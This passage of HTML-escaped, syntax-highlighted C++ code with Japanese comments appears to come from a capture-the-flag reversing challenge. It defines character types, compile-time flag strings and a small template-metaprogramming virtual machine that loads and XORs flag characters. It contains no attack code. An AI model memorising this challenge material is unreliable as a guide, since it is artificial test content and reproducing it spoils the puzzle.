keyword\">struct</span> <span class=\"token class-name\">H</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'H'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">I</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'I'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">J</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'J'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">K</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'K'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">L</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'L'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">M</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'M'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">N</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'N'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">O</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'O'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">P</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'P'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">Q</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'Q'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">R</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'R'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">S</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'S'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">T</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'T'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">U</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'U'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">V</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'V'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">W</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'W'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">X</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'X'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">Y</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'Y'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">Z</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'Z'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">num_1</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'1'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">num_2</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'2'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">num_3</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'3'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">num_4</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'4'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">num_5</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'5'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">num_6</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'6'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">num_7</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'7'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">num_8</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'8'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">num_9</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'9'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">num_0</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'0'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token comment\">// SOMEWHAT SPECIAL CHARACTERS</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">bracket_open</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'{'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">bracket_close</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'}'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">underscore</span> <span class=\"token operator\">:</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span><span class=\"token char\">'_'</span><span class=\"token operator\">></span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\n\n<span class=\"token comment\">// 型 Ty が、リスト内のいずれかと一致するかをチェックするコンセプトを定義している</span>\n<span class=\"token comment\">// std::disjunction_v&lt;std::is_same&lt;Ty, Types>...> は OR 評価を行う</span>\n<span class=\"token comment\">// つまり、Ty がリストに 1 つ以上含まれていれば、is_any_of_t は true になる</span>\ntemplate<span class=\"token operator\">&lt;</span>class Ty<span class=\"token punctuation\">,</span> class<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span> Types<span class=\"token operator\">></span> concept <span class=\"token class-name\">is_any_of_t</span> <span class=\"token operator\">=</span> std<span class=\"token operator\">::</span>disjunction_v<span class=\"token operator\">&lt;</span>std<span class=\"token operator\">::</span>is_same<span class=\"token operator\">&lt;</span>Ty<span class=\"token punctuation\">,</span> Types<span class=\"token operator\">></span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">></span><span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// any_legit_char_t は Ty がこの文字種のいずれかに該当するかを調べることができる</span>\ntemplate<span class=\"token operator\">&lt;</span>typename Ty<span class=\"token operator\">></span> \nconcept <span class=\"token class-name\">any_legit_char_t</span> <span class=\"token operator\">=</span> <span class=\"token class-name\">is_any_of_t</span><span class=\"token operator\">&lt;</span>Ty<span class=\"token punctuation\">,</span> a<span class=\"token punctuation\">,</span> b<span class=\"token punctuation\">,</span> c<span class=\"token punctuation\">,</span> d<span class=\"token punctuation\">,</span> e<span class=\"token punctuation\">,</span> f<span class=\"token punctuation\">,</span> g<span class=\"token punctuation\">,</span> h<span class=\"token punctuation\">,</span> i<span class=\"token punctuation\">,</span> j<span class=\"token punctuation\">,</span> k<span class=\"token punctuation\">,</span> l<span class=\"token punctuation\">,</span> m<span class=\"token punctuation\">,</span> n<span class=\"token punctuation\">,</span>\n                                       o<span class=\"token punctuation\">,</span> p<span class=\"token punctuation\">,</span> q<span class=\"token punctuation\">,</span> r<span class=\"token punctuation\">,</span> s<span class=\"token punctuation\">,</span> t<span class=\"token punctuation\">,</span> u<span class=\"token punctuation\">,</span> v<span class=\"token punctuation\">,</span> w<span class=\"token punctuation\">,</span> x<span class=\"token punctuation\">,</span> y<span class=\"token punctuation\">,</span> z<span class=\"token punctuation\">,</span> A<span class=\"token punctuation\">,</span> B<span class=\"token punctuation\">,</span> C<span class=\"token punctuation\">,</span> D<span class=\"token punctuation\">,</span>\n                                       E<span class=\"token punctuation\">,</span> F<span class=\"token punctuation\">,</span> G<span class=\"token punctuation\">,</span> H<span class=\"token punctuation\">,</span> I<span class=\"token punctuation\">,</span> J<span class=\"token punctuation\">,</span> K<span class=\"token punctuation\">,</span> L<span class=\"token punctuation\">,</span> M<span class=\"token punctuation\">,</span> N<span class=\"token punctuation\">,</span> O<span class=\"token punctuation\">,</span> P<span class=\"token punctuation\">,</span> Q<span class=\"token punctuation\">,</span> R<span class=\"token punctuation\">,</span> S<span class=\"token punctuation\">,</span> T<span class=\"token punctuation\">,</span>\n                                       U<span class=\"token punctuation\">,</span> V<span class=\"token punctuation\">,</span> W<span class=\"token punctuation\">,</span> X<span class=\"token punctuation\">,</span> Y<span class=\"token punctuation\">,</span> Z<span class=\"token punctuation\">,</span> num_1<span class=\"token punctuation\">,</span> num_2<span class=\"token punctuation\">,</span> num_3<span class=\"token punctuation\">,</span> num_4<span class=\"token punctuation\">,</span> num_5<span class=\"token punctuation\">,</span>\n                                       num_6<span class=\"token punctuation\">,</span> num_7<span class=\"token punctuation\">,</span> num_8<span class=\"token punctuation\">,</span> num_9<span class=\"token punctuation\">,</span> num_0<span class=\"token punctuation\">,</span> bracket_open<span class=\"token punctuation\">,</span>\n                                       bracket_close<span class=\"token punctuation\">,</span> underscore<span class=\"token operator\">></span><span class=\"token punctuation\">;</span>\n\n<span class=\"token comment\">// size() は flag_t に格納されている values の数を返却する(sizeof)</span>\n<span class=\"token comment\">// at は、values_values に values を展開したのち、指定のインデックスで取得した 値を返却する</span>\ntemplate<span class=\"token operator\">&lt;</span>class<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span> values<span class=\"token operator\">></span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">flag_t</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span>nodiscard<span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token keyword\">static</span> constexpr <span class=\"token class-name\">size_t</span> <span class=\"token function\">size</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> <span class=\"token keyword\">sizeof</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">(</span>values<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n\n    template<span class=\"token operator\">&lt;</span>typename Ty <span class=\"token operator\">=</span> <span class=\"token keyword\">char</span><span class=\"token operator\">></span>\n    <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span>nodiscard<span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token keyword\">static</span> constexpr Ty <span class=\"token function\">at</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">const</span> std<span class=\"token operator\">::</span><span class=\"token class-name\">size_t</span> i<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        constexpr <span class=\"token keyword\">char</span> values_values<span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>values<span class=\"token operator\">::</span><span class=\"token function\">value</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">return</span> static_cast<span class=\"token operator\">&lt;</span>Ty<span class=\"token operator\">></span><span class=\"token punctuation\">(</span>values_values<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\n\n<span class=\"token comment\">// コンパイル時に定義した固定サイズの文字列を表す</span>\n<span class=\"token comment\">// constexpr cxstring&lt;6> myString(\"Hello\");</span>\ntemplate<span class=\"token operator\">&lt;</span><span class=\"token class-name\">size_t</span> Footprint<span class=\"token operator\">></span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">cxstring</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">char</span> data<span class=\"token punctuation\">[</span>Footprint<span class=\"token punctuation\">]</span><span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span>nodiscard<span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> constexpr <span class=\"token class-name\">size_t</span> <span class=\"token function\">size</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">const</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> Footprint <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    constexpr <span class=\"token comment\">/* implicit */</span> <span class=\"token function\">cxstring</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">const</span> <span class=\"token keyword\">char</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>init<span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span>Footprint<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token comment\">// NOLINT</span>\n        std<span class=\"token operator\">::</span><span class=\"token function\">copy_n</span><span class=\"token punctuation\">(</span>init<span class=\"token punctuation\">,</span> Footprint<span class=\"token punctuation\">,</span> data<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\n\n<span class=\"token comment\">// コンパイル時に文字列情報を格納する</span>\n<span class=\"token comment\">// 使用例</span>\n<span class=\"token comment\">// </span>\n<span class=\"token comment\">// constexpr cxstring&lt;6> myStr(\"Hello\");</span>\n<span class=\"token comment\">// using MyStrType = type_string&lt;myStr>;</span>\n<span class=\"token comment\">// </span>\n<span class=\"token comment\">// auto strData = MyStrType::data(); // \"Hello\"を返す</span>\n<span class=\"token comment\">// auto strSize = MyStrType::size(); // 5を返す</span>\n<span class=\"token comment\">// template&lt;auto str></span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">type_string</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span>nodiscard<span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token keyword\">static</span> constexpr <span class=\"token keyword\">const</span> <span class=\"token keyword\">char</span> <span class=\"token operator\">*</span><span class=\"token function\">data</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> str<span class=\"token punctuation\">.</span>data<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span>nodiscard<span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span> <span class=\"token keyword\">static</span> constexpr <span class=\"token class-name\">size_t</span> <span class=\"token function\">size</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> str<span class=\"token punctuation\">.</span><span class=\"token function\">size</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\n\n<span class=\"token comment\">// 任意の型 P のデフォルトコンストラクタを使用してインスタンスを返す</span>\ntemplate<span class=\"token operator\">&lt;</span>class P<span class=\"token operator\">></span> <span class=\"token keyword\">auto</span> <span class=\"token function\">parse_flag</span><span class=\"token punctuation\">(</span>P<span class=\"token punctuation\">)</span> <span class=\"token operator\">-></span> P <span class=\"token punctuation\">{</span> <span class=\"token keyword\">return</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span> <span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">// Chr は現在処理中の文字、Rest は残りの文字列、Bs は現在までに処理された文字列</span>\ntemplate<span class=\"token operator\">&lt;</span><span class=\"token keyword\">char</span> Chr<span class=\"token punctuation\">,</span> <span class=\"token keyword\">char</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span> Rest<span class=\"token punctuation\">,</span> class<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span> Bs<span class=\"token operator\">></span>\n<span class=\"token keyword\">auto</span> <span class=\"token function\">parse_flag</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">flag_t</span><span class=\"token operator\">&lt;</span>Bs<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">></span><span class=\"token punctuation\">)</span> <span class=\"token operator\">-></span> <span class=\"token function\">decltype</span><span class=\"token punctuation\">(</span>parse_flag<span class=\"token operator\">&lt;</span>Rest<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">></span><span class=\"token punctuation\">(</span><span class=\"token class-name\">flag_t</span><span class=\"token operator\">&lt;</span>Bs<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">char_value_t</span><span class=\"token operator\">&lt;</span>Chr<span class=\"token operator\">>></span><span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> <span class=\"token keyword\">return</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span> <span class=\"token punctuation\">}</span>\n\n\n<span class=\"token comment\">// constexpr auto myFlag = make_flag([]{ return \"Hello, World!\"; }, std::make_index_sequence&lt;13>{});</span>\ntemplate<span class=\"token operator\">&lt;</span>class <span class=\"token class-name\">lambda_t</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">size_t</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span> I<span class=\"token operator\">></span>\nconstexpr <span class=\"token keyword\">auto</span> <span class=\"token function\">make_flag</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">lambda_t</span> lambda <span class=\"token punctuation\">[</span><span class=\"token punctuation\">[</span>maybe_unused<span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> std<span class=\"token operator\">::</span>index_sequence<span class=\"token operator\">&lt;</span>I<span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">></span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> <span class=\"token function\">decltype</span><span class=\"token punctuation\">(</span>parse_flag<span class=\"token operator\">&lt;</span><span class=\"token function\">lambda</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span>I<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token operator\">></span><span class=\"token punctuation\">(</span><span class=\"token class-name\">flag_t</span><span class=\"token operator\">&lt;</span><span class=\"token operator\">></span><span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">insn_t</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token class-name\">uint32_t</span> opcode <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">uint32_t</span> op0 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">uint32_t</span> op1 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span>\n\ntemplate<span class=\"token operator\">&lt;</span>typename <span class=\"token operator\">=</span> std<span class=\"token operator\">::</span>monostate<span class=\"token operator\">></span>\nconcept always_false_v <span class=\"token operator\">=</span> false<span class=\"token punctuation\">;</span>\n\ntemplate<span class=\"token operator\">&lt;</span><span class=\"token class-name\">insn_t</span><span class=\"token operator\">></span>\nconcept always_false_insn_v <span class=\"token operator\">=</span> false<span class=\"token punctuation\">;</span>\n\ntemplate<span class=\"token operator\">&lt;</span><span class=\"token class-name\">flag_t</span> Flag<span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span><span class=\"token punctuation\">.</span> Instructions<span class=\"token operator\">></span>\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">program_t</span> <span class=\"token punctuation\">{</span>\n    using R <span class=\"token operator\">=</span> std<span class=\"token operator\">::</span>array<span class=\"token operator\">&lt;</span><span class=\"token class-name\">uint32_t</span><span class=\"token punctuation\">,</span> <span class=\"token number\">15</span><span class=\"token operator\">></span><span class=\"token punctuation\">;</span>\n\n    template<span class=\"token operator\">&lt;</span><span class=\"token class-name\">insn_t</span> Insn<span class=\"token operator\">></span>\n    <span class=\"token keyword\">static</span> constexpr <span class=\"token keyword\">void</span> <span class=\"token function\">execute_one</span><span class=\"token punctuation\">(</span>R <span class=\"token operator\">&amp;</span>regs<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> Flag<span class=\"token punctuation\">.</span><span class=\"token function\">at</span><span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">^=</span> Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op0<span class=\"token punctuation\">]</span> <span class=\"token operator\">^=</span> regs<span class=\"token punctuation\">[</span>Insn<span class=\"token punctuation\">.</span>op1<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token function\">constexpr</span> <span class=\"token punctuation\">(</span>Insn<span class=\"token punctuation\">.</span>opcode <span class=\"token operator\">==</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            